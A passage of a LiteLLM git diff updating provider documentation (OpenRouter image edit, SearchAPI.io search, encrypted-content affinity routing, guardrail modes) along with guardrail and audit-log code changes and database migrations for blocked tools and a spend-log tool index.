gemini-flash-latest | `completion(model='gemini/gemini-flash-latest', messages)` | `os.environ['GEMINI_API_KEY']` | | gemini-flash-lite-latest | `completion(model='gemini/gemini-flash-lite-latest', messages)` | `os.environ['GEMINI_API_KEY']` | diff --git a/docs/my-website/docs/providers/openai.md b/docs/my-website/docs/providers/openai.md index 23940e1c54e..782c7072e50 100644 --- a/docs/my-website/docs/providers/openai.md +++ b/docs/my-website/docs/providers/openai.md @@ -191,6 +191,7 @@ os.environ["OPENAI_BASE_URL"] = "https://your_host/v1" # OPTIONAL | gpt-5.2 | `response = completion(model="gpt-5.2", messages=messages)` | | gpt-5.2-2025-12-11 | `response = completion(model="gpt-5.2-2025-12-11", messages=messages)` | | gpt-5.2-chat-latest | `response = completion(model="gpt-5.2-chat-latest", messages=messages)` | +| gpt-5.3-chat-latest | `response = completion(model="gpt-5.3-chat-latest", messages=messages)` | | gpt-5.2-pro | `response = completion(model="gpt-5.2-pro", messages=messages)` | | gpt-5.2-pro-2025-12-11 | `response = completion(model="gpt-5.2-pro-2025-12-11", messages=messages)` | | gpt-5.1 | `response = completion(model="gpt-5.1", messages=messages)` | diff --git a/docs/my-website/docs/providers/openrouter.md b/docs/my-website/docs/providers/openrouter.md index 38eb998c98b..4c79c41cfd5 100644 --- a/docs/my-website/docs/providers/openrouter.md +++ b/docs/my-website/docs/providers/openrouter.md @@ -210,3 +210,90 @@ response = image_generation( # Cost is available in the response metadata print(f"Request cost: ${response._hidden_params['additional_headers']['llm_provider-x-litellm-response-cost']}") ``` + +## Image Edit + +OpenRouter supports image editing through select models like Google Gemini image models. LiteLLM routes image edit requests to OpenRouter's chat completions endpoint with the source image sent as a base64 data URL and `modalities: ["image", "text"]`. + +### Supported Models + +| Model | Description | +|-------|-------------| +| `openrouter/google/gemini-2.5-flash-image` | Gemini 2.5 Flash with image editing | + +See all available image models on [OpenRouter's model list](https://openrouter.ai/models?modality=image). + +### Supported Parameters + +| Parameter | OpenRouter Mapping | Notes | +|-----------|--------------------|-------| +| `size` | `image_config.aspect_ratio` | `1024x1024` → `1:1`, `1536x1024` → `3:2`, `1024x1536` → `2:3`, `1792x1024` → `16:9`, `1024x1792` → `9:16` | +| `quality` | `image_config.image_size` | `low`/`standard` → `1K`, `medium` → `2K`, `high`/`hd` → `4K` | +| `n` | `n` | Number of images | + +:::note +`quality=high` (4K) is only supported by `google/gemini-3-pro-image-preview` and `google/gemini-3.1-flash-image-preview`. The `google/gemini-2.5-flash-image` model supports up to `medium` (2K). +::: + +### Usage + +```python +from litellm import image_edit +import os + +os.environ["OPENROUTER_API_KEY"] = "your-api-key" + +# Basic image edit +response = image_edit( + model="openrouter/google/gemini-2.5-flash-image", + image=open("original_image.png", "rb"), + prompt="Make the sky a vibrant purple sunset", +) + +print(response) +``` + +### Advanced Usage with Parameters + +```python +from litellm import image_edit +import os + +os.environ["OPENROUTER_API_KEY"] = "your-api-key" + +# Edit with size and quality parameters +response = image_edit( + model="openrouter/google/gemini-2.5-flash-image", + image=open("photo.png", "rb"), + prompt="Add northern lights to the sky", + size="1536x1024", # Maps to aspect_ratio 3:2 + quality="high", # Maps to image_size 4K +) + +# Access the edited image +image_data = response.data[0] +if image_data.b64_json: + import base64 + with open("edited.png", "wb") as f: + f.write(base64.b64decode(image_data.b64_json)) +``` + +### Multiple Images Edit + +```python +from litellm import image_edit +import os + +os.environ["OPENROUTER_API_KEY"] = "your-api-key" + +response = image_edit( + model="openrouter/google/gemini-2.5-flash-image", + image=[ + open("scene.png", "rb"), + open("style_reference.png", "rb"), + ], + prompt="Blend the reference style into the scene", +) + +print(response) +``` diff --git a/docs/my-website/docs/providers/vertex.md b/docs/my-website/docs/providers/vertex.md index 63e4dceec00..94619082e88 100644 --- a/docs/my-website/docs/providers/vertex.md +++ b/docs/my-website/docs/providers/vertex.md @@ -1685,6 +1685,7 @@ litellm.vertex_location = "us-central1 # Your Location | gemini-2.5-pro | `completion('gemini-2.5-pro', messages)`, `completion('vertex_ai/gemini-2.5-pro', messages)` | | gemini-2.5-flash-preview-09-2025 | `completion('gemini-2.5-flash-preview-09-2025', messages)`, `completion('vertex_ai/gemini-2.5-flash-preview-09-2025', messages)` | | gemini-2.5-flash-lite-preview-09-2025 | `completion('gemini-2.5-flash-lite-preview-09-2025', messages)`, `completion('vertex_ai/gemini-2.5-flash-lite-preview-09-2025', messages)` | +| gemini-3.1-flash-lite-preview | `completion('gemini-3.1-flash-lite-preview', messages)`, `completion('vertex_ai/gemini-3.1-flash-lite-preview', messages)` | ## Private Service Connect (PSC) Endpoints diff --git a/docs/my-website/docs/proxy/config_settings.md b/docs/my-website/docs/proxy/config_settings.md index 7b2011e45dd..af868bc9f9d 100644 --- a/docs/my-website/docs/proxy/config_settings.md +++ b/docs/my-website/docs/proxy/config_settings.md @@ -360,7 +360,7 @@ router_settings: | redis_url | str | URL for Redis server. **Known performance issue with Redis URL.** | | cache_responses | boolean | Flag to enable caching LLM Responses, if cache set under `router_settings`. If true, caches responses. Defaults to False. | | router_general_settings | RouterGeneralSettings | [SDK-Only] Router general settings - contains optimizations like 'async_only_mode'. [Docs](../routing.md#router-general-settings) | -| optional_pre_call_checks | List[str] | List of pre-call checks to add to the router. Supported: `router_budget_limiting`, `prompt_caching`, `responses_api_deployment_check`, `deployment_affinity`, `forward_client_headers_by_model_group` | +| optional_pre_call_checks | List[str] | List of pre-call checks to add to the router. Supported: `router_budget_limiting`, `prompt_caching`, `responses_api_deployment_check`, `encrypted_content_affinity`, `deployment_affinity`, `session_affinity`, `forward_client_headers_by_model_group` | | deployment_affinity_ttl_seconds | int | TTL (seconds) for user-key → deployment affinity mapping when `deployment_affinity` is enabled (configured at Router init / proxy startup). Defaults to `3600` (1 hour). | | ignore_invalid_deployments | boolean | If true, ignores invalid deployments. Default for proxy is True - to prevent invalid models from blocking other models from being loaded. | | search_tools | List[SearchToolTypedDict] | List of search tool configurations for Search API integration. Each tool specifies a search_tool_name and litellm_params with search_provider, api_key, api_base, etc. [Further Docs](../search.md) | diff --git a/docs/my-website/docs/proxy/guardrails/quick_start.md b/docs/my-website/docs/proxy/guardrails/quick_start.md index e5a90f74a8a..0016f24ec15 100644 --- a/docs/my-website/docs/proxy/guardrails/quick_start.md +++ b/docs/my-website/docs/proxy/guardrails/quick_start.md @@ -358,13 +358,13 @@ response = client.chat.completions.create( } ], extra_body={ - "guardrails": [ + "guardrails": { "aporia-pre-guard": { "extra_body": { "success_threshold": 0.9 } } - ] + } } ) @@ -387,13 +387,13 @@ curl --location 'http://0.0.0.0:4000/chat/completions' \ "content": "what llm are you" } ], - "guardrails": [ + "guardrails": { "aporia-pre-guard": { "extra_body": { "success_threshold": 0.9 } } - ] + } }' ``` @@ -451,7 +451,6 @@ curl -X POST 'http://0.0.0.0:4000/key/generate' \ -H 'Content-Type: application/json' \ -d '{ "guardrails": ["aporia-pre-guard", "aporia-post-guard"] - } }' ``` @@ -465,7 +464,6 @@ curl --location 'http://0.0.0.0:4000/key/update' \ --data '{ "key": "sk-jNm1Zar7XfNdZXp49Z1kSQ", "guardrails": ["aporia-pre-guard", "aporia-post-guard"] - } }' ``` @@ -499,6 +497,11 @@ curl --location 'http://0.0.0.0:4000/chat/completions' \ Run guardrails based on the user-agent header. This is useful for running pre-call checks on OpenWebUI but only masking in logs for Claude CLI. +`default` can be a single mode string or a list of modes. + + + + ```yaml model_list: - model_name: gpt-3.5-turbo @@ -519,6 +522,32 @@ guardrails: default_on: true # run on every request ``` + + + +```yaml +model_list: + - model_name: gpt-3.5-turbo + litellm_params: + model: gpt-3.5-turbo + api_key: os.environ/OPENAI_API_KEY + +guardrails: + - guardrail_name: "guardrails_ai-guard" + litellm_params: + guardrail: guardrails_ai + guard_name: "pii_detect" + mode: + tags: + "User-Agent: claude-cli": "logging_only" + default: ["pre_call", "post_call"] # Run on both pre and post call when no tags match + api_base: os.environ/GUARDRAILS_AI_API_BASE + default_on: true +``` + + + + ### ✨ Model-level Guardrails @@ -640,13 +669,22 @@ guardrails: Mode Specification +`default` accepts either a single string or a list of strings. + ```python from litellm.types.guardrails import Mode +# Single default mode mode = Mode( tags={"User-Agent: claude-cli": "logging_only"}, default="logging_only" ) + +# Multiple default modes +mode = Mode( + tags={"User-Agent: claude-cli": "logging_only"}, + default=["pre_call", "post_call"] +) ``` ### `guardrails` Request Parameter diff --git a/docs/my-website/docs/proxy/load_balancing.md b/docs/my-website/docs/proxy/load_balancing.md index 186307d6498..5bf39d179f6 100644 --- a/docs/my-website/docs/proxy/load_balancing.md +++ b/docs/my-website/docs/proxy/load_balancing.md @@ -347,3 +347,36 @@ If `order=1` deployment is unavailable (e.g., rate-limited), the router falls ba - **Higher throughput**: More requests handled simultaneously across deployments - **Improved reliability**: If one deployment fails, traffic automatically routes to healthy ones - **Better resource utilization**: Load spread evenly across all available deployments + +## Special Considerations for Responses API + +When load balancing OpenAI's Responses API across deployments with **different API keys** (e.g., different Azure regions or organizations), encrypted content items (like `rs_...` reasoning items) can only be decrypted by the originating API key. + +**Solution:** Use the `encrypted_content_affinity` pre-call check to automatically route follow-up requests containing encrypted items to the correct deployment: + +```yaml +model_list: + - model_name: gpt-5.1-codex + litellm_params: + model: azure/gpt-5.1-codex + api_base: https://eastus.openai.azure.com/ + api_key: os.environ/AZURE_API_KEY_EASTUS + model_info: + id: "deployment-eastus" + + - model_name: gpt-5.1-codex + litellm_params: + model: azure/gpt-5.1-codex + api_base: https://westeurope.openai.azure.com/ + api_key: os.environ/AZURE_API_KEY_WESTEUROPE + model_info: + id: "deployment-westeurope" + +router_settings: + optional_pre_call_checks: + - encrypted_content_affinity # 👈 Prevents invalid_encrypted_content errors +``` + +This ensures requests containing encrypted content are routed to the deployment that created them, while other requests continue to load balance normally. + +**[Learn more about Encrypted Content Affinity →](../response_api.md#encrypted-content-affinity-multi-region-load-balancing)** diff --git a/docs/my-website/docs/response_api.md b/docs/my-website/docs/response_api.md index b37be2b5bc2..76899a17ccb 100644 --- a/docs/my-website/docs/response_api.md +++ b/docs/my-website/docs/response_api.md @@ -920,12 +920,17 @@ follow_up = await router.aresponses( To enable session continuity for Responses API in your LiteLLM proxy, set `optional_pre_call_checks` in your proxy config.yaml. - `responses_api_deployment_check`: high priority routing when `previous_response_id` is provided +- `encrypted_content_affinity`: **[Recommended]** content-aware routing for encrypted items (e.g., `rs_...` reasoning items) - `session_affinity`: sticky sessions based on session id (takes priority over `deployment_affinity`) - `deployment_affinity`: sticky sessions based on user key (applies even without `previous_response_id`) +:::tip Recommended: Use `encrypted_content_affinity` +For Responses API with load balancing across deployments with **different API keys**, use `encrypted_content_affinity` instead of `deployment_affinity`. It only pins requests that contain encrypted content, avoiding quota reduction while preventing `invalid_encrypted_content` errors. +::: + Notes: - User-key affinity is keyed on `metadata.user_api_key_hash` (the API key hash). The OpenAI `user` request parameter is an end-user identifier and is intentionally not used for deployment affinity. -- Session-ID affinity is keyed on `metadata.session_id`. For proxy requests, this can be passed via the `x-litellm-session-id` HTTP header. For Python SDK requests, you can pass it via `litellm_metadata={"session_id": "value"}` in request args. +- Session-ID affinity is keyed on `metadata.session_id`. For proxy requests, this can be passed via the `x-litellm-session-id` or `x-litellm-trace-id` HTTP header (they are interchangeable for call chaining). For Python SDK requests, you can pass it via `litellm_metadata={"session_id": "value"}` in request args. - `user_api_key_hash` is already SHA-256, and is used as-is (no double hashing). - Affinity is scoped by a stable model identifier (the model-map key, e.g. `model_map_information.model_map_key`) so model aliases map to the same stickiness bucket. - The mapping TTL is controlled by `deployment_affinity_ttl_seconds` (configured on Router init / proxy startup). @@ -983,6 +988,142 @@ follow_up = client.responses.create( +## Encrypted Content Affinity (Multi-Region Load Balancing) + +When load balancing Responses API across deployments with **different API keys** (e.g., different Azure regions or OpenAI organizations), encrypted content items (like `rs_...` reasoning items) can only be decrypted by the API key that created them. + +### The Problem + +```json +{ + "error": { + "message": "The encrypted content for item rs_0d09d6e56879e76500699d6feee41c8197bd268aae76141f87 could not be verified. Reason: Encrypted content organization_id did not match the target organization.", + "type": "invalid_request_error", + "code": "invalid_encrypted_content" + } +} +``` + +This error occurs when: +1. Initial request goes to Deployment A (API Key 1) → produces encrypted item `rs_xyz` +2. Follow-up request with `rs_xyz` in input gets load balanced to Deployment B (API Key 2) +3. Deployment B cannot decrypt content created by Deployment A → **request fails** + +### The Solution: `encrypted_content_affinity` + +The `encrypted_content_affinity` pre-call check routes follow-up requests containing encrypted items to the originating deployment **only when necessary** + +**Key Benefits:** +- ✅ **No quota reduction**: Unlike `deployment_affinity`, only pins requests that contain encrypted items +- ✅ **Bypasses rate limits**: When encrypted content requires a specific deployment, RPM/TPM limits are bypassed (the request would fail on any other deployment anyway) +- ✅ **No `previous_response_id` required**: Works by encoding `model_id` directly into item IDs +- ✅ **No cache required**: `model_id` is decoded on-the-fly — no Redis dependency, no TTL to manage +- ✅ **Globally safe**: Can be enabled for all models; non-Responses-API calls (chat, embeddings) are unaffected + +### How It Works + +1. **Encoding Phase** (on response): + - For each output item that contains `encrypted_content`, LiteLLM rewrites the item ID to embed the originating `model_id`: `rs_xyz` → `encitem_{base64("litellm:model_id:{model_id};item_id:rs_xyz")}` + - The original item ID is restored before forwarding the request to the upstream provider + +2. **Routing Phase** (before request): + - Scans request `input` for `encitem_` prefixed IDs + - If found → decodes `model_id`, pins to originating deployment, bypasses rate limits + - If no encoded items → normal load balancing + +### Configuration + + + + +```python +from litellm import Router + +router = Router( + model_list=[ + { + "model_name": "gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "org-1-api-key", # Different API key + }, + "model_info": {"id": "deployment-us-east"}, + }, + { + "model_name": "gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "org-2-api-key", # Different API key + }, + "model_info": {"id": "deployment-eu-west"}, + }, + ], + optional_pre_call_checks=["encrypted_content_affinity"], +) + +# Initial request - routes to any deployment +response1 = await router.aresponses( + model="gpt-5.1-codex", + input="Explain quantum computing", +) + +# Follow-up with encrypted items - automatically routes to same deployment +response2 = await router.aresponses( + model="gpt-5.1-codex", + input=response1.output, # Contains encrypted items from response1 +) +``` + + + + +```yaml showLineNumbers title="config.yaml" +model_list: + - model_name: gpt-5.1-codex + litellm_params: + model: azure/gpt-5.1-codex + api_base: https://eastus.openai.azure.com/ + api_key: os.environ/AZURE_API_KEY_EASTUS + rpm: 600 + tpm: 100000 + model_info: + id: "gpt-5.1-codex-eastus" + + - model_name: gpt-5.1-codex + litellm_params: + model: azure/gpt-5.1-codex + api_base: https://westeurope.openai.azure.com/ + api_key: os.environ/AZURE_API_KEY_WESTEUROPE + rpm: 600 + tpm: 100000 + model_info: + id: "gpt-5.1-codex-westeurope" + +router_settings: + routing_strategy: usage-based-routing-v2 + enable_pre_call_checks: true + optional_pre_call_checks: + - encrypted_content_affinity +``` + +**Start proxy:** +```bash +litellm --config config.yaml +``` + + + + +### When to Use Each Affinity Type + +| Affinity Type | Use Case | Scope | Quota Impact | +|---------------|----------|-------|--------------| +| **`encrypted_content_affinity`** | **[Recommended]** Multi-region Responses API with different API keys | Only requests with tracked encrypted items | ✅ None (surgical pinning) | +| `responses_api_deployment_check` | When `previous_response_id` is available | Requests with `previous_response_id` | ✅ None | +| `session_affinity` | Session-based applications | All requests with same `session_id` | ⚠️ Reduces quota by # of sessions | +| `deployment_affinity` | Simple sticky sessions | All requests from same API key | ❌ Reduces quota by # of users | + + ## Calling non-Responses API endpoints (`/responses` to `/chat/completions` Bridge) LiteLLM allows you to call non-Responses API models via a bridge to LiteLLM's `/chat/completions` endpoint. This is useful for calling Anthropic, Gemini and even non-Responses API OpenAI models. diff --git a/docs/my-website/docs/search/index.md b/docs/my-website/docs/search/index.md index 8a71edead06..37e6e34434c 100644 --- a/docs/my-website/docs/search/index.md +++ b/docs/my-website/docs/search/index.md @@ -2,7 +2,7 @@ | Feature | Supported | |---------|-----------| -| Supported Providers | `perplexity`, `tavily`, `parallel_ai`, `exa_ai`, `brave`, `google_pse`, `dataforseo`, `firecrawl`, `searxng`, `linkup` | +| Supported Providers | `perplexity`, `tavily`, `parallel_ai`, `exa_ai`, `brave`, `google_pse`, `dataforseo`, `firecrawl`, `searxng`, `linkup`, `duckduckgo`, `searchapi` | | Cost Tracking | ✅ | | Logging | ✅ | | Load Balancing | ❌ | @@ -210,7 +210,7 @@ See the [official Perplexity Search documentation](https://docs.perplexity.ai/ap | Parameter | Type | Required | Description | |-----------|------|----------|-------------| | `query` | string or array | Yes | Search query. Can be a single string or array of strings | -| `search_provider` | string | Yes (SDK) | The search provider to use: `"perplexity"`, `"tavily"`, `"parallel_ai"`, `"exa_ai"`, `"brave"`, `"google_pse"`, `"dataforseo"`, `"firecrawl"`, `"searxng"`, or `"linkup"` | +| `search_provider` | string | Yes (SDK) | The search provider to use: `"perplexity"`, `"tavily"`, `"parallel_ai"`, `"exa_ai"`, `"brave"`, `"google_pse"`, `"dataforseo"`, `"firecrawl"`, `"searxng"`, `"linkup"`, `"duckduckgo"`, or `"searchapi"` | | `search_tool_name` | string | Yes (Proxy) | Name of the search tool configured in `config.yaml` | | `max_results` | integer | No | Maximum number of results to return (1-20). Default: 10 | | `search_domain_filter` | array | No | List of domains to filter results (max 20 domains) | @@ -276,7 +276,8 @@ The response follows Perplexity's search format with the following structure: | Firecrawl | `FIRECRAWL_API_KEY` | `firecrawl` | | SearXNG | `SEARXNG_API_BASE` (required) | `searxng` | | Linkup | `LINKUP_API_KEY` | `linkup` | -| DuckDuckGo | `DUCKDUCKGO_API_BASE` | `duckduckgo` | +| DuckDuckGo | `DUCKDUCKGO_API_BASE` | `duckduckgo` | +| SearchAPI.io | `SEARCHAPI_API_KEY` | `searchapi` | See the individual provider documentation for detailed setup instructions and provider-specific parameters. diff --git a/docs/my-website/docs/search/searchapi.md b/docs/my-website/docs/search/searchapi.md new file mode 100644 index 00000000000..2a6080c7649 --- /dev/null +++ b/docs/my-website/docs/search/searchapi.md @@ -0,0 +1,197 @@ +# SearchAPI.io (Google Search) + +Get started by creating a free API key via https://www.searchapi.io/. + +SearchAPI.io provides access to Google Search results with a simple API. It supports all Google Search parameters including location, language, time filters, and more. + +For complete documentation on all supported parameters, visit https://www.searchapi.io/docs/google. + +## LiteLLM Python SDK + +```python showLineNumbers title="SearchAPI.io Search" +import os +from litellm import search + +os.environ["SEARCHAPI_API_KEY"] = "your-api-key" + +response = search( + query="latest AI developments", + search_provider="searchapi", + max_results=10 +) + +# Access search results +for result in response.results: + print(f"{result.title}: {result.url}") + print(f"Snippet: {result.snippet}\n") +``` + +### Advanced Usage with SearchAPI.io Parameters + +SearchAPI.io supports many Google Search-specific parameters: + +```python showLineNumbers title="Advanced SearchAPI.io Parameters" +import os +from litellm import search + +os.environ["SEARCHAPI_API_KEY"] = "your-api-key" + +response = search( + query="machine learning research", + search_provider="searchapi", + max_results=10, + # Unified parameters + country="US", + search_domain_filter=["arxiv.org", "nature.com"], + # SearchAPI.io specific parameters + gl="us", # Country code + hl="en", # Interface language + time_period="last_month", # Time filter + safe="active", # SafeSearch + device="desktop", # Device type + location="New York" # Geographic location +) +``` + +## LiteLLM AI Gateway + +### 1. Setup config.yaml + +```yaml showLineNumbers title="config.yaml" +model_list: + - model_name: gpt-4 + litellm_params: + model: gpt-4 + api_key: os.environ/OPENAI_API_KEY + +search_tools: + - search_tool_name: google-search + litellm_params: + search_provider: searchapi + api_key: os.environ/SEARCHAPI_API_KEY +``` + +### 2. Start the proxy + +```bash +litellm --config /path/to/config.yaml + +# RUNNING on http://0.0.0.0:4000 +``` + +### 3. Test the search endpoint + +```bash showLineNumbers title="Test Request" +curl http://0.0.0.0:4000/v1/search/google-search \ + -H "Authorization: Bearer sk-1234" \ + -H "Content-Type: application/json" \ + -d '{ + "query": "latest AI developments", + "max_results": 10, + "country": "US" + }' +``` + +## SearchAPI.io Specific Parameters + +SearchAPI.io supports many Google Search parameters. Here are some commonly used ones: + +| Parameter | Type | Description | +|-----------|------|-------------| +| `gl` | string | Country code (e.g., 'us', 'uk', 'de') | +| `hl` | string | Interface language (e.g., 'en', 'es', 'fr') | +| `location` | string | Geographic location (e.g., 'New York', 'London') | +| `device` | string | Device type: 'desktop', 'mobile', 'tablet' | +| `time_period` | string | Time filter: 'last_hour', 'last_day', 'last_week', 'last_month', 'last_year' | +| `time_period_min` | string | Start date (MM/DD/YYYY) | +| `time_period_max` | string | End date (MM/DD/YYYY) | +| `safe` | string | SafeSearch: 'active' or 'off' | +| `lr` | string | Language restriction (e.g., 'lang_en', 'lang_es') | +| `cr` | string | Country restriction | +| `page` | integer | Page number for pagination | + +### Example with Time Filters + +```python showLineNumbers title="Search with Time Filter" +response = search( + query="AI breakthroughs", + search_provider="searchapi", + max_results=10, + time_period="last_month" +) +``` + +### Example with Custom Date Range + +```python showLineNumbers title="Search with Custom Date Range" +response = search( + query="AI research papers", + search_provider="searchapi", + max_results=10, + time_period_min="01/01/2024", + time_period_max="03/01/2024" +) +``` + +### Example with Location + +```python showLineNumbers title="Search with Location" +response = search( + query="AI conferences", + search_provider="searchapi", + max_results=10, + location="San Francisco", + gl="us" +) +``` + +## Response Format + +SearchAPI.io returns results in the standard LiteLLM search format: + +```json +{ + "object": "search", + "results": [ + { + "title": "Latest AI Developments", + "url": "https://example.com/ai-news", + "snippet": "Recent breakthroughs in artificial intelligence...", + "date": "2024-01-15" + } + ] +} +``` + +## Rate Limits + +SearchAPI.io has different rate limits based on your plan: +- Free tier: 100 requests/month +- Paid plans: Higher limits available + +Check your current usage at https://www.searchapi.io/dashboard. + +## Error Handling + +```python showLineNumbers title="Error Handling" +from litellm import search +import os + +os.environ["SEARCHAPI_API_KEY"] = "your-api-key" + +try: + response = search( + query="test query", + search_provider="searchapi", + max_results=10 + ) + print(f"Found {len(response.results)} results") +except Exception as e: + print(f"Search failed: {str(e)}") +``` + +## Additional Resources + +- SearchAPI.io Documentation: https://www.searchapi.io/docs +- API Dashboard: https://www.searchapi.io/dashboard +- Pricing: https://www.searchapi.io/pricing diff --git a/enterprise/litellm_enterprise/integrations/custom_guardrail.py b/enterprise/litellm_enterprise/integrations/custom_guardrail.py index b165d788f35..8ed3bfcac4c 100644 --- a/enterprise/litellm_enterprise/integrations/custom_guardrail.py +++ b/enterprise/litellm_enterprise/integrations/custom_guardrail.py @@ -10,10 +10,15 @@ class EnterpriseCustomGuardrailHelper: event_hook: Optional[ Union[GuardrailEventHooks, List[GuardrailEventHooks], Mode] ], + event_type: Optional[GuardrailEventHooks] = None, ) -> Optional[bool]: """ - Assumes check for event match is done in `should_run_guardrail` - Returns True if the guardrail should be run by tag + Returns True if the guardrail should be run for this request and event_type. + + Logic: + - If a request tag matches a Mode tag key, only run if event_type matches + the tag's value (the mode for that tag). + - If no request tag matches, fall back to default mode(s). """ from litellm.litellm_core_utils.litellm_logging import ( StandardLoggingPayloadSetup, @@ -36,11 +41,29 @@ class EnterpriseCustomGuardrailHelper: proxy_server_request=proxy_server_request, ) - if request_tags and any(tag in event_hook.tags for tag in request_tags): - return True - elif event_hook.default and any( - tag in event_hook.default for tag in request_tags - ): + # Check if any request tag matches a Mode tag key + matched_mode = None + if request_tags: + for tag in request_tags: + if tag in event_hook.tags: + matched_mode = event_hook.tags[tag] + break + + if matched_mode is not None: + # Tag matched: only run if event_type matches the tag's mode value + if event_type is not None: + return event_type.value == matched_mode return True + # No tag matched: fall back to default mode(s) + if event_hook.default is not None: + if event_type is not None: + default_list = ( + event_hook.default + if isinstance(event_hook.default, list) + else [event_hook.default] + ) + return event_type.value in default_list + return False + return False diff --git a/enterprise/litellm_enterprise/proxy/audit_logging_endpoints.py b/enterprise/litellm_enterprise/proxy/audit_logging_endpoints.py index d1b00420d31..18ac29b9781 100644 --- a/enterprise/litellm_enterprise/proxy/audit_logging_endpoints.py +++ b/enterprise/litellm_enterprise/proxy/audit_logging_endpoints.py @@ -1,13 +1,13 @@ """ AUDIT LOGGING -All /audit logging endpoints. Attempting to write these as CRUD endpoints. +All /audit logging endpoints. Attempting to write these as CRUD endpoints. GET - /audit/{id} - Get audit log by id GET - /audit - Get all audit logs """ -from typing import Any, Dict, Optional +from typing import Any, Dict, List, Optional #### AUDIT LOGGING #### from fastapi import APIRouter, Depends, HTTPException, Query @@ -22,6 +22,27 @@ from litellm.proxy.auth.user_api_key_auth import user_api_key_auth router = APIRouter() +def _build_json_field_or_condition(json_key: str, value: str) -> Dict[str, Any]: + """ + Build an OR condition that matches a value inside a JSON column at the + given key, checking both before_value and updated_values. + + Uses Prisma's JSON path filtering (PostgreSQL only). + + Example result (team_id="t1"): + {"OR": [ + {"before_value": {"path": ["team_id"], "string_contains": "t1"}}, + {"updated_values": {"path": ["team_id"], "string_contains": "t1"}}, + ]} + """ + return { + "OR": [ + {"before_value": {"path": [json_key], "string_contains": value}}, + {"updated_values": {"path": [json_key], "string_contains": value}}, + ] + } + + @router.get( "/audit", tags=["Audit Logging"], @@ -49,6 +70,14 @@ async def get_audit_logs( ), start_date: Optional[str] = Query(None, description="Filter logs after this date"), end_date: Optional[str] = Query(None, description="Filter logs before this date"), + object_team_id: Optional[str] = Query( + None, + description="Filter by team_id present in before_value or updated_values JSON (PostgreSQL only)", + ), + object_key_hash: Optional[str] = Query( + None, + description="Filter by token (key hash) present in before_value or updated_values JSON (PostgreSQL only)", + ), # Sorting parameters sort_by: Optional[str] = Query( None, @@ -60,6 +89,9 @@ async def get_audit_logs( Get all audit logs with filtering and pagination. Returns a paginated response of audit logs matching the specified filters. + + Note: object_team_id and object_key_hash use Prisma JSON path filtering, + which requires PostgreSQL. """ from litellm.proxy.proxy_server import prisma_client @@ -82,18 +114,29 @@ async def get_audit_logs( if object_id: where_conditions["object_id"] = object_id if start_date or end_date: - date_filter = {} + date_filter: Dict[str, Any] = {} if start_date: date_filter["gte"] = start_date if end_date: date_filter["lte"] = end_date where_conditions["updated_at"] = date_filter + # JSON field filters (PostgreSQL only) — each filter is AND'd with the + # others, but checks both before_value and updated_values internally (OR). + if object_team_id: + where_conditions["AND"] = where_conditions.get("AND", []) + [ + _build_json_field_or_condition("team_id", object_team_id) + ] + if object_key_hash: + where_conditions["AND"] = where_conditions.get("AND", []) + [ + _build_json_field_or_condition("token", object_key_hash) + ] + # Build sort conditions - order_by = {} + order_by: Dict[str, Any] = {} if sort_by and isinstance(sort_by, str): order_by[sort_by] = sort_order - elif sort_order and isinstance(sort_order, str): + else: order_by["updated_at"] = sort_order # Default sort by updated_at # Get paginated results diff --git a/enterprise/litellm_enterprise/proxy/hooks/managed_files.py b/enterprise/litellm_enterprise/proxy/hooks/managed_files.py index 4fa050a84aa..37ca341fdf2 100644 --- a/enterprise/litellm_enterprise/proxy/hooks/managed_files.py +++ b/enterprise/litellm_enterprise/proxy/hooks/managed_files.py @@ -589,7 +589,14 @@ class _PROXY_LiteLLMManagedFiles(CustomLogger, BaseFileEndpoints): model_file_id_mapping = cast( Optional[Dict[str, Dict[str, str]]], kwargs.get("model_file_id_mapping") ) + # model_info may be at top-level or nested under litellm_metadata + # (batch/file operations use litellm_metadata) model_id = cast(Optional[str], kwargs.get("model_info", {}).get("id", None)) + if model_id is None: + model_id = cast( + Optional[str], + kwargs.get("litellm_metadata", {}).get("model_info", {}).get("id", None), + ) mapped_file_id: Optional[str] = None if input_file_id and model_file_id_mapping and model_id: mapped_file_id = model_file_id_mapping.get(input_file_id, {}).get( diff --git a/litellm-proxy-extras/litellm_proxy_extras/migrations/20260226000000_add_blocked_tools_to_object_permission/migration.sql b/litellm-proxy-extras/litellm_proxy_extras/migrations/20260226000000_add_blocked_tools_to_object_permission/migration.sql new file mode 100644 index 00000000000..cba06684193 --- /dev/null +++ b/litellm-proxy-extras/litellm_proxy_extras/migrations/20260226000000_add_blocked_tools_to_object_permission/migration.sql @@ -0,0 +1,2 @@ +-- AlterTable +ALTER TABLE "LiteLLM_ObjectPermissionTable" ADD COLUMN "blocked_tools" TEXT[] DEFAULT ARRAY[]::TEXT[]; diff --git a/litellm-proxy-extras/litellm_proxy_extras/migrations/20260226120000_add_spend_log_tool_index/migration.sql b/litellm-proxy-extras/litellm_proxy_extras/migrations/20260226120000_add_spend_log_tool_index/migration.sql new file mode 100644 index 00000000000..e3199679ce2 --- /dev/null +++ b/litellm-proxy-extras/litellm_proxy_extras/migrations/20260226120000_add_spend_log_tool_index/migration.sql @@ -0,0 +1,11 @@ +-- CreateTable +CREATE TABLE "LiteLLM_SpendLogToolIndex" ( + "request_id" TEXT NOT NULL, + "tool_name" TEXT NOT NULL, + "start_time" TIMESTAMP(3) NOT NULL, + + CONSTRAINT "LiteLLM_SpendLogToolIndex_pkey" PRIMARY KEY ("request_id","tool_name") +); + +-- CreateIndex +CREATE INDEX "LiteLLM_SpendLogToolIndex_tool_name_start_time_idx" ON "LiteLLM_SpendLogToolIndex"("tool_name", "start_time"); diff --git a/litellm-proxy-extras/litellm_proxy_extras/schema.prisma b/litellm-proxy-extras/litellm_proxy_extras/schema.prisma index e0b28a4e012..5abe7a0a2b1 100644 --- a/litellm-proxy-extras/litellm_proxy_extras/schema.prisma +++ b/litellm-proxy-extras/litellm_proxy_extras/schema.prisma @@ -260,6 +260,7 @@ model LiteLLM_ObjectPermissionTable { vector_stores String[] @default([]) agents String[] @default([]) agent_access_groups String[] @default([]) + blocked_tools String[] @default([]) // Tool names blocked for any key/team/user with this permission teams LiteLLM_TeamTable[] projects LiteLLM_ProjectTable[] verification_tokens LiteLLM_VerificationToken[] @@ -928,6 +929,16 @@ model LiteLLM_SpendLogGuardrailIndex { @@index([policy_id, start_time]) } +// Index for fast "last N logs for tool" from SpendLogs – see how a tool is called in production +model 